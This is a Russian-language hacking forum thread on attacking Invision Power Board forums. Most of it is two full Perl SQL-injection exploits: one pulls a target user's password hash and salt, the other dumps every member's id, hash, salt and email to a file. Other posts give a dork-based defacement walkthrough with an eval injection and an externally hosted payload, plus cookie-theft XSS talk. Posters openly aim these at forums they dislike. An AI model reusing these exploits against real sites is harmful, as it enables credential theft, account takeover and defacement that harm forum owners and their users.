• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: Invision Power Board (IPB)

Код:
##   o 32+ PMs left till your inbox is full, if not you can still delete   ##
##     PMs from your inbox as the successful ones come through             ##

Ох уж мой дурной английский...
то есть у моего акка в ПМ должно быть 32+ писем? Или не должно?
 
Так...
А теперь давайте разберемся, что он отдает...
member_login_key != хэш пароля...
А что же это тогда?
Солёный хэш?
 
Не понимаю...
На локалхосте - снимается хэш. (Форум 2.1.5.)
В инете - мой же форум, точно такой же -не снимается... (Форум 2.1.3)
Бред больной кобылы...
 
Аааа...
Блин...
Тогда ответь все-таки, что возвращает этот сплойт?
От чего хэш?
То что не чисто от пароля - это я вижу...
 
Значится так...
Абсолютно от нечего делать я немного переписал последний сплойт...

Код:
#!/usr/bin/perl
#############################################################################
## IPB <=2.1.4 exploit (possibly 2.1.5 too)                                ##
## Brought to you by the Ykstortion security team.                         ##
##   А Namelles One тоже не ведро пинает :)                                ##
##                                                                         ##
## The bug is in the pm system so you must have a registered user.         ##
## The exploit will extract a password hash from the forum's data base of  ##
## the target user.                                                        ##
## You need to know the target user's member ID but it's not difficult to  ##
## find out, just look under their avatar next to one of their posts.      ##
## Once you have the hash, simply unset all forum cookies and set          ##
## member_id to the target user's member id and pass_hash to the hash      ##
## obtained from the database by this script.                              ##
##                                                                         ##
## Usage:                                                                  ##
##   $ ./ipb                                                               ##
##   IPB Forum URL ? forums.example.com/forums                             ##
##   Your username ? krypt_sk1dd13                                         ##
##   Your pass ? if_your_on_nix_this_gets_hidden                           ##
##   Target userid ? 3637                                                  ##
##                                                                         ##
##   Attempting to extract password hash from database...                  ##
##   537ab2d5b37ac3a3632f5d06e8e04368                                      ##
##   Hit enter to quit.                                                    ##
##                                                                         ##
## Requirements:                                                           ##
##   o Perl 5                                                              ##
##   o LWP 5.64 or later                                                   ##
##   o Internet access                                                     ##
##   o A forum you hate/dislike                                            ##
##   o A user on said forum                                                ##
##   o 32+ PMs left till your inbox is full, if not you can still delete   ##
##     PMs from your inbox as the successful ones come through             ##
##                                                                         ##
## Credit to: Nuticulus for finding the SQL injection                      ##
##                                                                         ##
## Have fun, you dumb skiddie.                                             ##
#############################################################################

use HTTP::Cookies;
use LWP 5.64;
use HTTP::Request;

# variables
my $login_page = '?act=Login&CODE=01';
my $pm_page = '?act=Msg&CODE=04';
my $pose_pm_page = '?';
my $tries = 5;
my $sql = '';
my $hash = '';
my $need_null = 0;
my $i;
my $j;
my @charset = ('0' .. '9', 'a' .. 'z', 'A' .. 'Z', '>', '<', '-', '$', '~', '`', '!', '@', '"', '\'', '"', ';', ':', '#', '№', '%', '^', '&', '?', '*', '(', ')', '+', '=', '{', '}', '[', ']', '.', ',', '|', '/', '\\' );
my %form = (act  => 'Msg',
CODE  => '04',
MODE  => '01',
OID  => '',
removeattachid => '',
msg_title => 'asdf',
bbmode  => 'normal',
ffont  => 0,
fsize  => 0,
fcolor  => 0,
LIST  => ' LIST ',
helpbox  => 'Insert Monotype Text (alt + p)',
tagcount => 0,
Post  => 'jkl');


# objects
my $ua = LWP::UserAgent->new;
my $cj = HTTP::Cookies->new (file => "N/A", autosave => 0);
my $resp;

# init the cookie jar
$ua->cookie_jar ($cj);

# allow redirects on post requests
push @{ $ua->requests_redirectable }, "POST";

# get user input
print 'IPB Forum URL ? ';
chomp (my $base_url = <STDIN>);
print 'Your username ? ';
chomp (my $user = <STDIN>);
$form{entered_name} = $user;
print 'Your pass ? ';
#system 'stty -echo';  # to turn off echoing
chomp (my $pass = <STDIN>);
#system 'stty echo';  # to turn it back on
print "\n";
print 'Target userid ? '; # it'll say next to one of their posts
chomp (my $tid = <STDIN>);

# parse the given base url
if ($base_url !~ m#^http://#) { $base_url = 'http://' . $base_url }
if ($base_url !~ m#/$|index\.php$#) { $base_url .= '/' }

do {
$resp = $ua->post ($base_url . $login_page,
 [ UserName => $user,
   PassWord => $pass,
   CookieDate => 1,
 ]);
} while ($tries-- && !$resp->is_success());

# reset tries
$tries = 5;

# did we get 200 (OK) ?
if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }

# was the pass right ?
if ($resp->content =~ /sorry, the password was wrong/i) {
die "Error: password incorrect.\n";
}

# get ourselves a post_key (and an auth_key too with newer versions)
do {
$resp = $ua->get ($base_url . $pm_page);
} while ($tries-- && !$resp->is_success());

# reset tries
$tries = 5;

if (!$resp->is_success()) { die 'Error: ' . $resp->status_line . "\n" }
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?post_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+?/>#)
{
$form{post_key} = $1;
} else {
die "Error: couldn't get a post key.\n";
}
if ($resp->content =~ m#<input\s+?type=["']?hidden["']?\s+?name=["']?auth_key["']?\s+?value=["']?([0-9a-f]{32})["']?\s+/>#)
{
$form{auth_key} = $1;
}

# turn off buffering so chars in the hash show up straight away
$| = 1;

print "\nAttempting to extract password hash from database...\n ";

OFFSET:
for ($i = 0; $i < 37; ++$i) {
CHAR:
if ($i == 32) { print "\nAttempting to extract password salt from database...\n "; }
for ($j = 0; $j < @charset; ++$j) {
 # reset tries
 $tries = 5;
 print "\x08", $charset[$j];
 # build sql injection
 if ($i < 32) {
 $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
      . (join (',', map {ord} split ('', $user))) . ') FROM '
      . 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID('
      . 'converge_pass_hash, ' . ($i + 1) . ', 1) = CHAR('
      . ord ($charset[$j]) . ')'; }
   else
   {
   $sql = '-1 UNION SELECT ' . ($need_null ? '0, ' : '') . 'CHAR('
      . (join (',', map {ord} split ('', $user))) . ') FROM '
      . 'ibf_members_converge WHERE converge_id = ' . $tid . ' AND MID('
      . 'converge_pass_salt, ' . ($i - 32 + 1) . ', 1) = CHAR('
      . ord ($charset[$j]) . ')';
   };
 $form{from_contact} = $sql;
 $resp = $ua->post ($base_url . $post_pm_page, \%form,
  referer => $base_url . $pm_page);
 if (!$resp->is_success()) {
  die "\nError: " . $resp->status_line
    . "\n" if (!$tries);
  --$tries;
  redo;
 }
 if ($resp->content =~ /sql error/i) {
  if ($need_null) {
   die "Error: SQL error.\n";
  } else {
   $need_null = 1;
   redo OFFSET;
  }
 } elsif ($resp->content !~ /there is no such member/i) {
  # we have a winner !
  print ' ';
  next OFFSET;
 }
}
# uh oh, something went wrong
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;

Только у меня была проблема, он не различал прописные и строчные буквы...
Опытным путем удалось выяснить что-то какие-то нестыковки в кодировке Скуля у меня, но если настроено верно, то по идее должен пахать...
 
Уязвимость в Invision Gallery 2.0.6

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения.

Уязвимость существует из-за недостаточной обработки входных данных в параметре "album" во время отправки нового сообщения. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.


Файл :- modules/gallery/post.php

Код:
$this->ipsclass->DB->simple_construct( array( 'select' => 'COUNT(*) AS total', 'from' => 'gallery_images', 'where' => "album_id={$this->ipsclass->input['album']}" ) );

$this->ipsclass->input['album'] - не фильтруеться

album=[SQL]

Исправление уязвимости:
Код:
$this->ipsclass->DB->simple_construct( array( 'select' => 'COUNT(*) AS total', 'from' => 'gallery_images', 'where' => "album_id={".intval($this->ipsclass->input['album'])."}" ) );
 
#!/usr/bin/perl
#############################################################################
## IPB <=2.1.4 exploit (possibly 2.1.5 too) ##
## Brought to you by the Ykstortion security team. ##
## А Namelles One тоже не ведро пинает :) ##
## ##
## The bug is in the pm system so you must have a registered user. ##
## The exploit will extract a password hash from the forum's data base of ##
## the target user. ##
## You need to know the target user's member ID but it's not difficult to ##
## find out, just look under their avatar next to one of their posts. ##
## Once you have the hash, simply unset all forum cookies and set ##
## me.........




.........next OFFSET;
}
}
# uh oh, something went wrong
die "\nError: couldn't get a char for offset $i\n";
}
print "\x08 \x08\nHit enter to quit.\n";
<STDIN>;
Этот сплойт выдаёт одни нолики, проверял на разных форумах. :help:
 
Да вы все что-ли опухли?
В код вчитайтесь, нет там никакой защиты...
А насчет нулей - это интересно, я с таким не сталкивался еще...

Моя версия - на форумах изменены префиксы таблиц.
 
Куки в ipb укрнасть низя, кроме ка кжалобы и freeback`a, так как там недоступны динамические картинки, всмысле те, у которых есть поле йцукн или как оно называется



недоступны динамические картинки, всмысле те, у которых есть поле йцукн или как оно называется

www.sait.ru/картинка.gif?document.cookie;

все что после расширения картинки недоступно в ipb
 
Программа: Invision Power Board 2.1.6, возможно более ранние версии.
Опасность: Низкая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленному пользователю произвести XSS нападение.
Уязвимость существует из-за недостаточной обработки входных данных, передаваемых в шестнадцатеричных эквивалентах HTML элементов. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.
сурс
 
Destruction ibp 2.1.5
Как задефать практически любую ibp2.1.5, с картинками.
так по пунктам:
1) качаем Оперу
2)открываем наш любимый http://google.com
3)теперь dork: Invision Power Board v2.1.5
делаем как показано на скриншоте:
:screenshot: Скриншот|Screenshot
теперь пишем эти строки на форуме.
Код:
www.xxxx.com/forum/index.php?act=task&ck='
Где xxxx= web а forum = forum
Код:
index.php?act=task&ck='
делаем всё как на скриншоте:
:screenshot: Скриншот|Screenshot
если появилось то что показано на скррине то вы можете хакнуть этот сайт.
теперь регистрируемся создаём новый топик и суём этот сорце в топик
http://members.lycos.co.uk/b5ot5/ip/man.txt
теперь включаем поиск этого топика
:screenshot: Скриншот|Screenshot
и пишем этот код в полученом линке.
Код:
&lastdate=z|eval.*?%20//)%23e%00
как здесь на скрине показано.
:screenshot:
Скриншот|Screenshot

теперь всё.
 
SQL инъекция в Invision Power Board
Web приложение недостаточно проверяет данные, переданные в поле HTTP заголовка CLIENT_IP. В результате удаленный пользователь может представить специально обработанное значение CLIENT_IP, чтобы выполнить произвольные SQL команды на базе данных Web приложения.
Exploit
А еще совсем недавно эксплоит продавался по 100$ за экземпляр ;)
Кстати, эксплоит требует MySQL > 4.0, т.к. используется UNION
 
Invision Power Board 2.1.* Remote SQL Injecton Exploit
Код:
#!/usr/bin/perl
use LWP::UserAgent; 
$ua = LWP::UserAgent->new; 
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT 'VULN',1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else 
    {
     print "forum unvulnerable\r\n";
     exit();
    }
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
    {
  #You can modify this for your own query.
     $own_query = "UNION SELECT CONCAT(converge_id,':',converge_pass_hash,':',converge_pass_salt,'::',converge_email),1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
     query($own_query,$server,$dir);
     if($rep=~/\d+/) { print RES $rep."\n"; }
    }
close(RES);
print "[!] Query was successfully perfomed. Results are in ".$server."_results.txt\r\n";
print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
print "[L] Visit: secbun.info | xss.pro/ | rst.void.ru\r\n";
$ex = <STDIN>;
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
*       Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc)   *
*                Coded by w4g.not null                   *
*              FOR EDUCATIONAL PURPOSES *ONLY*           *
----------------------------------------------------------
);
}
sub info()
{
 print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
     where
    |- server - server, where IPB installed without http://
    |- /dir/ - dir, where IPB installed or / for no dir
[i] Stealing info about users (format id:pass:satl::email)   
[!] Need MySQL > 4.0 
 );
}
sub query()
    {
     my($q,$server,$dir) = @_;
     $res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q); 
     if($res->is_success)
        {
         $rep = '';
         if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
         else
         {
             if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
            }
        }
     return $rep;
    }
Сливает дамп базы данных, содержащий информацию о пользователях в виде, понятном PasswordPro (id:pass:satl::email). Хотя никто не мешает вставить любой запрос ;) Было бы желание и знания.
ЗЫ Если эксплоит сработал не так, как ожидалось, не стоит пинать меня ногами: разные форумы почему-то по-разному реагируют на запрос. Некоторые выводят только соль, некоторые ид и хэш, ну а некоторые выводят все, что требуется. Извините, я тут ни при чем ;)
 
not null
Да скрипт действительно стоящий! Вот только ждать приходиться не несколько минут, а 1час мин. = чтоб слить базу от 1500 пользователей и более.

А вот с этим r57ipb216gui.txt я так до конца не разобрался. Нашёл я уязвимые форумы, пробовал получать session (Get admin session) - выдавал в окошке данные. А чё с ними дальше делать? Как попасть в админ панель?

Просьба не пинать.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх